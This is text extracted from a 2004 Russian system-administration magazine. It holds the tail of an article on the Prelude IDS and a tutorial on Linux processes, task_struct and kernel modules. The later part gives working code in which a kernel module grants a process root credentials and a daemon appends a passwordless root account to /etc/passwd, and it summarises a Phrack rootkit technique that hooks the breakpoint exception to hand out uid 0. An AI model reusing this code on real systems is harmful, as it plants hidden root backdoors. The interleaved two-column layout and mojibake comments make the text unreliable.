сначала, понял, что некоторые вопросы остались за кад- Патч к Nagios (http://www.nagios.org, сам патч http://
ром и требуют, чтобы за них замолвили хотя бы пару слов. www.exaprobe.com/labs/downloads/Nagios_Plugin/prelude-
А сериалов с вечным продолжением я не люблю, поэтому nagios-0.0.2.tar.gz) позволяет централизованно контроли-
уж потерпите. ровать состояние сетей и компьютеров.
Итак, как видите, Prelude довольно продвинутая IDS, к И последняя связка, без которой статья бы не была пол-
тому же обладающая возможностью наращивания как ко- ной. Речь идет о сканере безопасности Nessus (http://
личественного, так и качественного, некоторые готовые www.nessus.org), который также может работать в связке с
решения уже имеются на сайте, а тем, кто может, позво- Prelude после наложения патча http://www.prelude-ids.org/
лено заточить любой необходимый сенсор, для того что- download/releases/nessus-2.0.7-reporting-patch-v7.diff, плюс
бы Prelude узнавала в нем своего. Сенсоров на отдель- дополнительно используя инструменты http://www.rstack.org/
ный хост можно понаставлять сколько душа пожелает, oudot/prelude/correlation, позволяет уменьшить количество
только вот вопрос – не потребуется ли для его нормаль- предупреждений и в итоге сконцентироваться на действи-
ной работы второй процессор, а сеть переводить на гига- тельно серьезных проблемах, помогут выявить соответ-
бит. Поэтому увлекаться, наверное, не стоит, затраты по ствия между предупреждениями и, наконец, позволяют
защите возрастут в несколько раз, а эффективность – на связать предупреждения и системные уязвимости и по-
десятую процента. Наверное, стоит из всего предлагае- мочь в реальной оценке серьезности угрозы.
мого комплекта выбрать то, что действительно необходи- Как видите, гибридная Prelude IDS обладает большой
мо для нормальной работы. функциональностью, а гибкость при выборе различного
Итак, для host-based-части, кроме штатного prelude-lml, вида сенсоров позволяет создать требуемую конфигура-
умеющего работать только с логами и понимающего логи цию защитной системы. Но на этом проект не остановил
и других устройств, в том числе windows-систем, можно свое развитие, и у разработчиков большие планы по ин-
использовать сенсор samhain, в который вместить все, теграции, анализу и корреляции данных. Также планиру-
чего душа пожелает, и для очистки совести можно на кри- ется большая поддержка различных приложений, и не в
тические системы вроде сервера или firewall установить на последнюю очередь в списке стоят различные виды firewall
выбор libsafe или для более полного контроля над систем- (в том числе и аппаратные модели), позволяющие вовре-
нымы вызовами systrace (http://www.citi.umich.edu/u/provos/ мя среагировать и остановить атаку. Несмотря на то что я
systrace), патч для Prelude найдете: http://www.rstack.org/ пытался многое расказать в статье, думаю, что постепен-
oudot/prelude/systrace/files. Сразу оба использовать в боль- но все же придется еще вернуться к Prelude, чтобы рас-
шинстве случаев, я думаю, будет излишним. сказать о нововведениях. Удачи.

№6(19), июнь 2004 41


программирование

ПРОЦЕССЫ В LINUX
Характерной чертой современных операционных
систем является поддержка многозадачности –
параллельного выполнения нескольких задач
(task), что обеспечивается главным образом
аппаратными возможностями центрального
процессора. Под задачей понимают экземпляр
программы, которая находится в стадии
выполнения. Синонимом термина «задача»
является термин «процесс», который впервые
начали применять разработчики системы MULTICS
в 60-х годах прошлого века.

ВЛАДИМИР МЕШКОВ
Общие сведения о процессах ! Идентификатор владельца (UID) и эффективный иден-
Процесс состоит из адресного пространства и набора струк- тификатор владельца (EUID). UID – это идентифика-
тур данных, содержащихся внутри ядра операционной сис- ционный номер пользователя, который создал данный
темы. Адресное пространство представляет собой совокуп- процесс. Вносить изменения в процесс могут только
ность страниц памяти, которую ядро выделило для выполне- его создатель и привилегированный пользователь.
ния процесса. Оно содержит сегменты кода для программы, EUID – это «эффективный» UID процесса. EUID исполь-
которую выполняет процесс, используемые процессом пе- зуется для того, чтобы определить, к каким ресурсам
ременные, стек процесса и различную вспомогательную и файлам у процесса есть право доступа. У большин-
информацию, необходимую ядру во время работы процесса. ства процессов UID и EUID будут одинаковыми. Исклю-
В структурах данных ядра хранится различная информация о чение составляют программы, у которых установлен
каждом процессе. К наиболее важным сведениям относятся: бит смены идентификатора пользователя.
! таблица распределения памяти процесса; ! Идентификатор группы (GID) и эффективный иденти-
! текущий статус процесса; фикатор группы (EGID). GID – это идентификационный
! приоритет выполнения процесса; номер группы данного процесса. EGID связан с GID так-
! информация о ресурсах, которые использует процесс; же, как EUID с UID.
! владелец процесса. ! Приоритет. От приоритета процесса зависит, какую
часть времени центрального процессора он получит.
Совокупность всех процессов, выполняющихся в сис- ! Текущий каталог, корневой каталог, переменные про-
теме, образует иерархическую структуру, подобную дере- граммного окружения.
ву каталогов файловой системы. На вершине дерева про- ! Управляющий терминал (controlling terminal).
цессов находится управляющий процесс init, являющийся
предком всех системных и пользовательских процессов. Жизненный цикл процесса
С каждым процессом связан набор атрибутов, которые Все процессы, кроме init, создаются при помощи систем-
помогают системе управлять выполнением и планирова- ного вызова fork (процесс init создается во время началь-
нием процессов. С точки зрения системного администри- ной загрузки системы). Вызывая функцию fork, процесс
рования интерес представляют следующие атрибуты: создает свой дубликат, называемый дочерним процессом.
! Идентификатор процесса (PID). Каждому новому про- Дочерний процесс является практически точной копией
цессу ядро присваивает уникальный идентификацион- родительского, но имеет следующие отличия:
ный номер. В любой момент времени идентификатор ! у дочернего процесса свой PID;
является уникальным, хотя после завершения процес- ! PPID дочернего процесса равен PID родителя.
са он может использоваться снова для другого процес-
са. Некоторые идентификаторы зарезервированы сис- После выполнения fork родительский процесс может
темой для особых процессов. Так, процесс с идентифи- посредством системного вызова wait или waitpid приоста-
катором 1 – это процесс инициализации init, являющий- новить свое выполнение до завершения порожденного
ся предком всех других процессов в системе. (дочернего) процесса или продолжать свое выполнение
! Идентификатор родительского процесса (PPID). Новый независимо от дочернего, а дочерний процесс в свою оче-
процесс создается путем клонирования одного из уже редь может запустить на выполнение новую программу
существующих процессов. Исходный процесс в терми- при помощи одного из системных вызовов семейства exec.
нологии UNIX называется родительским, а его клон – Совместное применение системных вызовов fork и exec
порожденным. Помимо собственного идентификатора представляет мощный инструмент для программиста. Бла-
каждый процесс имеет атрибут PPID, т.е. идентифика- годаря ветвлению при использовании вызова exec в до-
тор своего родительского процесса. чернем процессе может выполняться другая программа.

42
программирование
Таким образом, один процесс может создавать несколько Второй аргумент будет содержать код статуса завер-
других процессов для параллельного выполнения несколь- шения процесса, поэтому он передается по ссылке. Воз-
ких программ, и поскольку каждый порожденный процесс вращаемым значением функции будет PID порожденного
выполняется в собственном адресном пространстве, ста- процесса.
тус его выполнения не влияет на родительский процесс. В нашем примере значение первого аргумента равно
Процесс завершает выполнение при помощи системно- идентификатору дочернего процесса.
го вызова exit. Аргументом этого вызова является код стату- Для обработки кода статуса завершения процесса ис-
са завершения процесса. Младшие восемь бит статуса дос- пользуются два макроса – WIFEXITED и WEXITSTATUS,
тупны родительскому процессу при условии, что он выпол- которые определены в файле <sys/wait.h>.
нил системный вызов wait. По соглашению нулевой код ста- Макрос WIFEXITED возвращает ненулевое значение,
туса завершения означает, что процесс завершил выполне- если порожденный процесс был завершен посредством
ние успешно, а ненулевой свидетельствует о неудаче. вызова exit. Макрос WEXITSTATUS возвращает код завер-
Следующий пример демонстрирует работу вызова fork шения порожденного процесса, присвоенного вызовом
и порядок обработки кода статуса завершения процесса: exit. Оба этих макроса обрабатывают значение второго
аргумента функции waitpid – переменной status. Эта пе-
#include <stdio.h> ременная имеет следующий формат:
#include <errno.h>
#include <sys/wait.h> ! биты 0 – 6 – содержат нуль, если порожденный про-
#include <sys/types.h> цесс был завершен с помощью функции exit, или но-
#include <unistd.h>
мер сигнала, завершившего процесс.
int main()
{
! бит 7 – равен 1, если из-за прерывания порожденного
pid_t pid; // èäåíòèôèêàòîð ïðîöåññà процесса сигналом был создан дамп образа процесса
int status; // êîä ñòàòóñà çàâåðøåíèÿ ïðîöåññà (файл core). В противном случае равен 0.
/* Ïðè ïîìîùè fork cîçäàåì äî÷åðíèé ïðîöåññ */ ! биты 8 – 15 – содержат код завершения порожденного
процесса, переданный посредством exit.
switch(pid = fork()) {
case -1: А теперь немного изменим приведенный выше пример
perror("fork");
return -1; для демонстрации возможности запуска в дочернем про-
цессе новой программы:
case 0:
printf("Âûïîëíÿåòñÿ äî÷åðíèé ïðîöåññ\n");
....
/* Êîä ñòàòóñà çàâåðøåíèÿ ðàâåí 4 */ switch(pid = fork()) {
exit(4);
} case -1:
perror("fork");
printf("Âûïîëíÿåòñÿ ðîäèòåëüñêèé ïðîöåññ\n"); return -1;
printf("Èäåíòèôèêàòîð äî÷åðíåãî ïðîöåññà - %d\n", pid);
case 0:
/* printf("Âûïîëíÿåòñÿ äî÷åðíèé ïðîöåññ\n");
* Æäåì çàâåðøåíèÿ äî÷åðíåãî ïðîöåññà
* è îáðàáàòûâàåì êîä ñòàòóñà çàâåðøåíèÿ execl("/bin/gzip", "gzip", "test.txt", 0);
*/ perror("gzip");
if((pid = waitpid(pid, &status, 0)) && WIFEXITED(status)) { exit(errno);
printf("Äî÷åðíèé ïðîöåññ ñ PID = %d ↵ }
çàâåðøèë âûïîëíåíèå\n", pid); ....
printf("Êîä ñòàòóñà çàâåðøåíèÿ ðàâåí %d\n", ↵
WEXITSTATUS(status));
} Как видно из приведенного примера, в дочернем про-
return 0; цессе при помощи системного вызова exec запускается
}
на выполнение программа gzip, при помощи которой ар-
Функция waitpid приостанавливает выполнение роди- хивируется файл test.txt.
тельского процесса, пока не завершится порожденный
процесс. Первый аргумент этой функции (pid) указывает, Получение информации о процессе
завершения какого именно порожденного процесса сле- при помощи proc
дует ожидать. Главным источником информации о процессах на пользо-
Первый аргумент может принимать следующие значения: вательском уровне является файловая система proc. Для
! > 0 – ждать завершения процесса с данным иденти- доступа к этой информации достаточно перейти в каталог
фикатором; /proc. Информация о каждом процессе собрана в отдель-
! 0 – ждать завершения любого порожденного процес- ном подкаталоге, имя которого совпадает с идентифика-
са, принадлежащего к той же группе, что и родительс- ционным номером процесса. Так, например, информация
кий; о процессе init находится в подкаталоге 1, т.к. идентифика-
! -1 – ждать завершения любого порожденного про- ционный номер этого процесса зарезервирован и равен 1.
цесса; На примере процесса init рассмотрим, какие файлы
! < -1 – ждать любого порожденного процесса, иденти- присутствуют в каталоге процесса и какую информацию
фикатор группы (GID) которого является абсолютным о процессе они содержат (какая информация в них содер-
значением pid. жится):

№6(19), июнь 2004 43


программирование
Все эти значения определены в файле <linux/sched.h>:

#define TASK_RUNNING 0
#define TASK_INTERRUPTIBLE 1
#define TASK_UNINTERRUPTIBLE 2
#define TASK_ZOMBIE 4
#define TASK_STOPPED 8

struct mm_struct *mm,


struct mm_struct *active_mm
Указатели на адресное пространство, выделенное процес-
су. В состав структуры struct mm_struct входит структура
struct vm_area_struct * mmap, в которой находятся данные
! cmdline – список аргументов процесса; об областях памяти, выделенных процессу. Два поля этой
! cwd – символическая ссылка на текущий рабочий ка- структуры, vm_start и vm_end, содержат адреса памяти,
талог процесса; которую использует процесс. Детальное рассмотрение
! environ – переменные среды процесса; структуры struct vm_area_struct выходит за рамки данной
! exe – символическая ссылка на исполняемый файл про- статьи, для дальнейшей работы нам достаточно и этой
цесса; информации.
! fd – подкаталог, содержащий ссылки на файлы, откры-
тые процессом; pid_t pid
! maps – адресное пространство, выделенное процессу; Идентификационный номер процесса.
! root – символическая ссылка на корневой каталог про-
цесса; uid_t uid, euid, suid, fsuid
! mounts – информация о точках монтирования и типах Идентификаторы владельца процесса.
файловых систем;
! status – статистическая информация о процессе (имя gid_t gid, egid, sgid, fsgid
процесса, идентификационный номер, состояние про- Идентификаторы группы, к которой принадлежит данный
цесса, идентификатор владельца, группы, статистика процесс.
использования памяти и т. д.).
char comm[16]
Таким образом, при помощи /proc можно получить ис- Символьное имя процесса.
черпывающую информацию об интересующем процессе,
используя имеющийся в нашем распоряжении инструмен- struct fs_struct *fs
тарий – команды shell либо средства языка программиро- Информация о файловой системе. Сама структура struct
вания. fs_struct определена в файле <linux/fs_struct.h>. Вот как
она выглядит:
Представление процессов в ядре
Совокупность процессов в ядре Linux представляет собой struct fs_struct {
atomic_t count;
кольцевой двусвязный список структур struct task_struct. rwlock_t lock;
Структура struct task_struct определена в файле <linux/ int umask;
struct dentry * root, * pwd, * altroot;
sched.h> и содержит полную информацию о выполняемом struct vfsmount * rootmnt, * pwdmnt, * altrootmnt;
процессе. Для нас интерес представляют следующие поля };
этой структуры:
Информация о точках монтирования корневого ката-
volatile long state лога и о текущем каталоге процесса находится в полях
Статус выполняемого процесса. Может принимать следу- struct dentry *root и *pwd.
ющие значения:
! TASK_RUNNING – процесс находится в очереди запу- struct files_struct *files
щенных на выполнение задач; Информация о файлах, открытых процессом. Состав
! TASK_INTERRUPTIBLE – процесс в состоянии «сна», структуры struct files_struct (см.<linux/sched.h>:
но может быть «разбужен» по сигналу или по истече-
нии таймера; /*
* Open file table structure
! TASK_UNINTERRUPTIBLE – состояние процесса схо- */
же с TASK_INTERRUPTIBLE, только он не может быть struct files_struct {
atomic_t count;
разбужен; /* Protects all the below members */
! TASK_ZOMBIE – процесс-«зомби». Процесс завершил /* Nests inside tsk->alloc_lock */
rwlock_t file_lock;
свою работу до того, как родительский процесс выпол- int max_fds;
нил системный вызов wait; int max_fdset;
int next_fd;
! TASK_STOPPED – выполнение процесса остановлено. struct file ** fd; /* current fd array */

44
программирование
.... unsigned long, каждый разряд которого соответствует од-
struct file * fd_array[NR_OPEN_DEFAULT]; ному сигналу. Номера всех сигналов перечислены в <asm-
};
i386/signal.h>.
В поле next_fd находится число открытых процессом
файлов, а в массиве структур struct file ** fd собрана ин- sigset_t blocked
формация об этих файлах. Структура struct file определе- Маска сигналов, заблокированных процессом. Для бло-
на в <linux/fs.h>. кирования сигнала соответствующий бит устанавливает-
ся в 1.
struct signal_struct *sig
Указатели на обработчики сигналов. Определение struct struct sigpending pending
signal_struct находится в <linux/signal.h>: Содержит номера сигналов, посылаемых процессу. Эта
структура определена в <linux/sched.h> следующим обра-
struct signal_struct { зом:
atomic_t count;
struct k_sigaction action[_NSIG];
spinlock_t siglock; struct sigpending {
}; struct sigqueue *head, **tail;
sigset_t signal;
В массиве структур struct k_sigaction action[_NSIG] на- };
ходятся указатели на функции, которые вызывает процесс
при получении сигналов. Структура struct k_sigaction оп- sigset_t signal, как мы уже рассмотрели, является про-
ределена в <asm-i386/signal>: стой последовательностью бит, и посылка сигнала про-
цессу означает установку бита в соответствующей пози-
struct k_sigaction { ции в 1.
struct sigaction sa;
}; Для более детального ознакомления с вышеперечис-
ленными полями разработаем модуль ядра, который при
Структура struct sigaction определена в этом же файле: загрузке будет отображать информацию об определенном
процессе, подобно тому, как это делает /proc (см. «Полу-
struct sigaction { чение информации о процессе при помощи proc»).
__sighandler_t sa_handler;
unsigned long sa_flags; Для решения этой задачи нам понадобится какой-ни-
void (*sa_restorer)(void); будь процесс. Лучше всего, если он будет функциониро-
sigset_t sa_mask; /* mask last for extensibility */
}; вать в фоновом режиме (в режиме демона, daemon). Этот
процесс после запуска будет выполнять следующие дей-
Адрес обработчика сигнала находится в поле __sighand- ствия:
ler_t sa_handler структуры struct sigaction. Это поле может ! перехватывать все сигналы, а для сигнала SIGUSR1
принимать следующие значения, определенные в <asm- определять новый обработчик;
i386/signal.h>: ! открывать исполняемый файл программы, находящий-
ся в текущем каталоге.
#define SIG_DFL ((__sighandler_t)0) /* default signal handling */
#define SIG_IGN ((__sighandler_t)1) /* ignore signal */
Создадим такой процесс при помощи следующего
Значение SIG_DFL требует выполнения стандартного кода:
действия. Отметим, что SIG_DFL эквивалентен NULL. Зна-
чение SIG_IGN означает, что сигнал будет игнорировать- /* Ôàéë sfc.c */
#include <stdio.h>
ся. Также в этом поле может находиться адрес функции, #include <unistd.h>
которая будет вызвана по приходу сигнала. #include <fcntl.h>
#include <signal.h>
Поле sigset_t sa_mask представляет собой набор сиг- #include <errno.h>
налов, которые должны быть заблокированы в течение #include <sys/types.h>
обработки данного сигнала. Например, если для процес- static pid_t pid; // èäåíòèôèêàòîð ñîçäàâàåìîãî ïðîöåññà
са необходимо заблокировать сигналы SIGHUP и SIGINT,
int main ()
пока обрабатывается сигнал SIGCHLD, тогда относящая- {
ся к SIGCHLD sa_mask для процесса устанавливает раз- pid = fork();
ряды, соответствующие SIGHUP и SIGINT. if (pid < 0) {
Определение sigset_t находится в <asm-i386/signal.h>: perror("fork");
return -1;
}
#define _NSIG 64
#define _NSIG_BPW 32 if (pid == 0) { // äî÷åðíèé ïðîöåññ
#define _NSIG_WORDS (_NSIG / _NSIG_BPW) setsid(); // îòñîåäèíÿåìñÿ îò òåðìèíàëà
start_daemon();
typedef struct { }
unsigned long sig[_NSIG_WORDS];
} sigset_t; return 0;
}

Единственный компонент в sigset_t – это массив из Функция start_daemon() выполняет следующие задачи:

№6(19), июнь 2004 45


программирование
! перехватывает все сигналы; struct task_struct * find_task_by_name(__u8 *name)
! для сигнала SIGUSR1 определяет новый обработчик; {
struct task_struct *p;
! открывает исполняемый файл программы, находящий-
ся в текущем каталоге; for_each_task(p)
if(strcmp(p->comm, name) == 0) return p;
! запускает на выполнение бесконечный цикл.
return 0;
}
void start_daemon()
{
int i, out; Для прохождения всего списка процессов в системе
предусмотрен макрос for_each_task(p) (см. файл <linux/
sigset_t mask;
static struct sigaction act; sched.h>):
sigfillset(&mask); #define for_each_task(p) \
sigdelset(&mask, SIGUSR1); for (p = &init_task ; (p = p->next_task) != &init_task ; )
/* Áëîêèðóåì âñå ñèãíàëû */
sigprocmask(SIG_SETMASK, &mask, NULL); Функция find_task_by_name будет вызвана во время
процедуры инициализации модуля:
/* Îïðåäåëÿåì íîâûé îáðàáîò÷èê äëÿ SIGUSR1 */
act.sa_handler = stop_daemon;
sigaction(SIGUSR1, &act, NULL); static int __init task_on(void)
{
/* Îòêðûâàåì èñïîëíÿåìûé ôàéë ïðîãðàììû */ struct task_struct *p;
out = open("./sfc", O_RDONLY); int pid = 0;
if(out < 0) perror("open"); int i;
for(;;); Ищем структуру, которая описывает процесс sfc:
}
p = find_task_by_name("sfc");
Новый обработчик сигнала SIGUSR1 просто завершит
выполнение демона, вызвав функцию exit: Если поиск завершился удачно, отобразим PID процес-
са (результаты работы модуля будут сохранены в файле
void stop_daemon() /var/log/messages):
{
exit(0);
} if(p) printk(KERN_INFO "PID - %d\n", p->pid);
else {
printk(KERN_INFO "No such task\n");
Получаем исполняемый файл и запускаем его на вы- return 0;
}
полнение:
Можно также выполнить поиск процесса по заданному
# gcc -o sfc sfc.c PID при помощи функции find_task_by_pid(int pid) (см.
# ./sfc
<linux/sched.h>). Повторим поиск процесса, используя най-
Процесс начинает свое выполнение в фоновом режи- денный PID:
ме. Найдем его в списке процессов:
pid = p->pid;
# ps -ax | grep sfc p = find_task_by_pid(pid);
903 ? R 0:02 ./sfc
Процесс найден. Отобразим результаты поиска:
Итак, процесс ./sfc успешно выполняется, и его PID ! имя процесса и его состояние:
равен 903.
Теперь приступим к реализации модуля ядра. printk(KERN_INFO "NAME - %s\n", p->comm);
printk(KERN_INFO "STATE - %u\n", (u32)p->state);
/* Ôàéë task.c */
#include <linux/config.h>
! адресное пространство процесса:
#include <linux/module.h>
#include <linux/slab.h> printk(KERN_INFO "START ADDRESS - 0x%08X\n", ↵
#include <linux/sched.h> (u32)p->active_mm->mmap->vm_start);
#include <linux/types.h> printk(KERN_INFO "END ADDRESS - 0%08X\n", ↵
#include <linux/signal.h> (u32)p->active_mm->mmap->vm_end);

Первое, что должен сделать модуль после загрузки, – ! идентификаторы:


найти в списке структур struct task_struct структуру, со-
ответствующую процессу sfc. Поиск выполняется при printk(KERN_INFO "UID - %d\n", p->uid);
printk(KERN_INFO "GID - %d\n", p->gid);
помощи функции find_task_by_name(). Аргументом фун- printk(KERN_INFO "EUID - %d\n", p->euid);
кции является имя искомого процесса, возвращаемое printk(KERN_INFO "EGID - %d\n", p->egid);
printk(KERN_INFO "FSUID - %d\n", p->fsuid);
значение – указатель на структуру процесса struct task_ printk(KERN_INFO "FSGID - %d\n", p->fsgid);
struct.
Функция find_task_by_name выглядит следующим об- ! точка монтирования корневого каталога и имя катало-
разом: га, откуда стартовал процесс sfc:

46
программирование
printk(KERN_INFO "ROOT - %s\n", p->fs->root->d_name); Именно для этого сигнала мы ввели новый обработ-
printk(KERN_INFO "PWD - %s\n", p->fs->pwd->d_name); чик, функцию stop_daemon. Извлечем адрес этой функ-
! файлы, открытые процессом sfc: ции из исполняемого файла sfc и сравним его с результа-
том, полученным при работе модуля:
for(i = 0; i < p->files->next_fd; i++)
printk(KERN_INFO "%s\n", ↵ # objdump -x ./sfc | grep stop_daemon
p->files->fd[i]->f_dentry->d_name); 080484D8 g F .text 00000010 stop_daemon

! адреса обработчиков сигналов: Адрес функции stop_daemon – нового обработчика сиг-


нала SIGUSR1 – равен 0x080484D8. Точно такое же зна-
for(i = 0; i < 31; i++) чение выдал и модуль.
printk(KERN_INFO "%d - 0x%08X\n", i, ↵
(unsigned int)p->sig->action[i].sa.sa_handler); Согласитесь, что просто смотреть на процесс неинте-
ресно. Давайте им управлять. Пошлем процессу sfc из
return 0;
} модуля сигнал SIGUSR1, при получении которого процесс
завершит свое выполнение.
Функция выгрузки модуля из системы имеет стандар- Для того чтобы из ядра послать процессу сигнал, не-
тный вид: обходимо установить в структуре struct sigpending pending
бит, соотвествующий порядковому номеру посылаемого
static void __exit task_off(void) сигнала, в единицу, а также присвоить единичное значе-
{
return; ние полю sigpending, которое служит индикатором того,
} что процесс получил сигнал и его надо обработать.
module_init(task_on); Перепишем функцию инициализации модуля – вмес-
module_exit(task_off); то отображения информации о процессе sfc модуль будет
посылать ему сигнал SIGUSR1.
Загружаемый модуль получим при помощи следующе- Функция инициализации модуля будет выглядеть сле-
го Makefile: дующим образом:

.PHONY = clean static int __init task_on(void)


CC = gcc {
CFLAGS = -O2 -Wall struct task_struct *p;
KERNELDIR = /usr/src/linux
MODFLAGS = -D__KERNEL__ -DMODULE -I$(KERNELDIR)/include
Ищем процесс sfc:
all: task.o
p = find_task_by_name("sfc");
task.o: task.c
$(CC) $(CFLAGS) $(MODFLAGS) -c task.c
if(p) printk(KERN_INFO "PID - %d\n", p->pid);
else {
clean: printk(KERN_INFO "No such task\n");
rm -f *.o *~ core
return 0;
}
Процесс sfc уже запущен на выполнение. После заг-
рузки модуля информация об этом процессе будет со- В структуре struct sigpending pending устанавливаем
брана в файле /var/log/messages. Cравните результаты бит, соответствующий сигналу SIGUSR1:
работы модуля с данными о процессе, которые находят-
ся в /proc. sigaddset(&p->pending.signal, SIGUSR1);
p->sigpending = 1; // èíäèêàòîð ïðèõîäà ñèãíàëà
Остановимся подробнее на информации, касающейся
адресов обработчиков сигналов: return 0;
}

Функция sigaddset устанавливается в 1 бит с указан-


ным номером. Номер бита передается как параметр фун-
кции. Эта функция (платформенно-зависимый вариант)
определена в файле <asm-i386/signal.h>:

static __inline__ void sigaddset(sigset_t *set, int _sig)


{
Как мы видим, все адреса обработчиков сигналов име- __asm__("btsl %1,%0" : "=m"(*set) : ↵
ют значение SIG_DFL, т.е. NULL. Это значит, что при по- "Ir"(_sig - 1) : "cc");
}
ступлении любого из этих сигналов процессу, система
выполнит стандартные действия. Загрузив модуль, мы тем самым отправим процессу
Исключение составляет сигнал под номером 9 (10-й в sfc сигнал SIGUSR1 и остановим его выполнение.
списке). Согласно перечню, приведенному в <asm-i386/ Кстати, совсем не обязательно переопределять обра-
signal.h>, это сигнал SIGUSR1: ботчик сигнала в самом процессе – это можно сделать в
модуле, вписав адрес нового обработчика непосредствен-
#define SIGUSR1 10 но в поле sa_handler.

№6(19), июнь 2004 47


программирование
Посмотрим, как это делается. Перепишем функцию sigaddset(&p->pending.signal, SIGUSR2);
start_daemon процесса, убрав из нее переопределение p->sigpending = 1;
обработчика сигнала SIGUSR1: return 0;
}
void start_daemon()
{
Сброс бита в маске заблокированных сигналов выпол-
sigset_t mask; няет функция sigdelset(), которая определена в файле
sigfillset(&mask);
<asm-i386/signal.h>:
/* Áëîêèðóåì âñå ñèãíàëû */
sigprocmask(SIG_SETMASK, &mask, NULL); static __inline__ void sigdelset(sigset_t *set, int _sig)
for(;;); {
__asm__("btrl %1,%0" : "=m"(*set) : ↵
"Ir"(_sig - 1) : "cc");
} }

В функции start_daemon() заблокированы все сигналы, Это также платформенно-зависимый вариант функции.
новые обработчики не определены. Функцию stop_daemon Подведем предварительные итоги – мы выяснили, как
оставим без изменений. при помощи модуля ядра можно получить информацию о
Получаем исполняемый файл и определяем адрес выполняющемся процессе и как из ядра послать процес-
функции stop_daemon: су сигнал.
Рассмотрим еще один пример работы с содержимым
# gcc -o sfc sfc.c структуры task_struct.
# objdump -x ./sfc | grep stop_daemon
08048434 g F .text 00000010 stop_daemon Предположим, что в системе зарегистрирован пользо-
ватель play. Идентификатор этого пользователя (UID) ра-
Адрес функции stop_daemon равен 0x08048434. Этот вен 1000, и принадлежит он к группе users (GID=100). От
адрес будет указан в качестве нового обработчика сигна- имени этого пользователя в фоновом режиме выполняет-
ла SIGUSR2 для процесса sfc. ся процесс, который по приходу сигнала SIGUSR2 пыта-
Переопределение обработчика сигнала выполняет не- ется добавить в файл /etc/passwd новую учетную запись
посредственно модуль, вследствие чего функция инициа- для пользователя play1, обладающего правами root:
лизации модуля принимает следующий вид:
play1::0:0:,,,:/home/play1:/bin/bash
static int __init task_on(void)
{
struct task_struct *p; Очевидно, что попытка записи в файл /etc/passwd ка-
кой-либо информации будет безуспешной, если процесс
Ищем структуру, соответствующую процессу sfc: не обладает достаточным уровнем привилегий. Значит,
необходимо выдать этому процессу соответствующие пол-
p = find_task_by_name("sfc"); номочия – права суперпользователя (root).
if(p) printk(KERN_INFO "PID - %d\n", p->pid); Заботу об этом берет на себя модуль ядра, который
else { после загрузки находит структуру, описывающую про-
printk(KERN_INFO "No such task\n");
return 0; цесс, назначает ему права суперпользователя путем ус-
} тановки полей uid/gid, euid/egid, suid/sgid, fsuid/fsgid струк-
туры процесса в 0 и после этого посылает процессу «уве-
Устанавливаем адрес нового обработчика сигнала домление» о том, что тот «выиграл в лотерею» – полу-
SIGURS2 – вписываем адрес функции stop_daemon в поле чил права root.
адреса обработчика sa_handler. Порядковый номер сиг- «Уведомление» представляет собой сигнал SIGUSR2,
нала SIGUSR2 известен и равен 12 (см. <asm-i386/ при получении которого процесс выполняет запись инфор-
signal.h>): мации в файл /etc/passwd, уже имея для этого соответ-
ствующие полномочия.
(unsigned int)p->sig->action[11].sa.sa_handler = 0x8048434; Итак, нам необходим процесс, который по сигналу
SIGUSR2 будет выполнять запись в /etc/passwd. Модифи-
Если мы сейчас же пошлем сигнал процессу, то он его цируем уже имеющийся в нашем распоряжении процесс
не воспримет. Почему? Дело в том, что все сигналы на sfc. Изменениям подвергнутся только функции start_daemon
данный момент заблокированы в функции start_daemon. и stop_daemon.
Чтобы процесс воспринял приход сигнала SIGUSR2, нуж- В функции start_daemon определим новый обработчик
но его разблокировать. Для этого необходимо сбросить для сигнала SIGUSR2:
соответствующий бит в маске заблокированных сигна-
лов – в поле sigset_t blocked структуры task_struct: void start_daemon()
{
sigset_t mask;
sigdelset(p->blocked.sig, SIGUSR2); static struct sigaction act;

sigfillset(&mask);
А теперь посылаем сигнал SIGURS2 процессу: sigdelset(&mask, SIGUSR2);

48
программирование
веден в 59-м выпуске электронного журнала PHRACK
/* Block all signal */ (www.phrack.com), автор которого kad (реальное имя не
sigprocmask(SIG_SETMASK, &mask, NULL);
было указано, только e-mail – kadamyse@altern.org) пока-
act.sa_handler = stop_daemon; зал, как можно присвоить права root текущему процессу
sigaction(SIGUSR2, &act, NULL);
пользователя, используя для этой цели исключения.
for(;;); Замечание. Исключения (exception) – это внутрен-
}
ние прерывания процессора, сигнализирующие ему о
Обработчик сигнала SIGUSR2 – функция stop_daemon – том, что произошла исключительная ситуация, требую-
имеет следующий вид: щая немедленного вмешательства. Яркий пример ис-
ключения – ошибка деления на 0, Divide Error, мнемо-
void stop_daemon() ническое обозначение #DE. Подробная информация об
{
int psw; исключениях и полный их перечень приведен в IA-32 Intel
Architecture Software Developer’s Manual, Volume 3:
unsigned char *str = "play1::0:0:,,,:/home/play1:/bin/bash\n";
System Programming Guide, Chapter 5 «Interrupt and
psw = open("/etc/passwd", O_APPEND|O_RDWR); Exception Handling» (www.intel.com).
if(psw < 0) goto out;
Основная идея заключается в перехвате исключения
if(write(psw, str, 37)) close(psw); номер 3, Breakpoint (мнемоническое обозначение #BP),
out: которое возникает при работе отладчика. Перехват пред-
exit(0); ставляет собой простую замену адреса обработчика ис-
}
ключения #BP в таблице дескрипторов прерываний (IDT,
Тут все просто. Interrupt Descriptor Table) адресом нового обработчика. При
Теперь модуль. Изменения коснутся функции инициа- возникновении #BP управление передается новому обра-
лизации: ботчику, который вернет управление старому, но не сра-
зу – сначала он проверит, кем было сгенерировано ис-
static int __init task_on(void) ключение #BP, т.е. какой процесс является текущим,
{
struct task_struct *p; current. Проверка выполняется путем сравнения значения,
находящегося в поле comm структуры процесса, с шаб-
printk(KERN_INFO "Current - %s\n", current->comm);
лонным значением, которое хранится в новом обработчи-
p = find_task_by_name("sfc"); ке #BP. Короче говоря, сравниваются две строки, при со-
if(p) printk(KERN_INFO "PID - %d\n", p->pid); впадении которых текущий процесс (назовем его «test»)
else { получает привилегии root:
printk(KERN_INFO "No such task\n");
return 0;
} if(strcmp(current->comm, "test") == 0) current->uid = 0;

Назначаем права root процессу sfc для возможности Для того чтобы процесс вызвал исключение #BP, его
записи информации в файл /etc/passwd: необходимо запустить в отладчике и установить где-ни-
будь точку останова, например на функцию main. Как толь-
p->fsuid = 0; ко эта точка будет достигнута, будет сгенерировано ис-
p->fsgid = 0;
ключение #BP и управление получит новый обработчик.
Посылаем процессу сигнал SIGUSR2: Рассмотрим реализацию модуля ядра, выполняющего
перехват #BP ((c) kadamyse@altern.org).
sigaddset(&p->pending.signal, SIGUSR2);
p->sigpending = 1; /* Ôàéë task1.c */
return 0; #include <linux/module.h>
} #include <linux/slab.h>
#include <linux/sched.h>
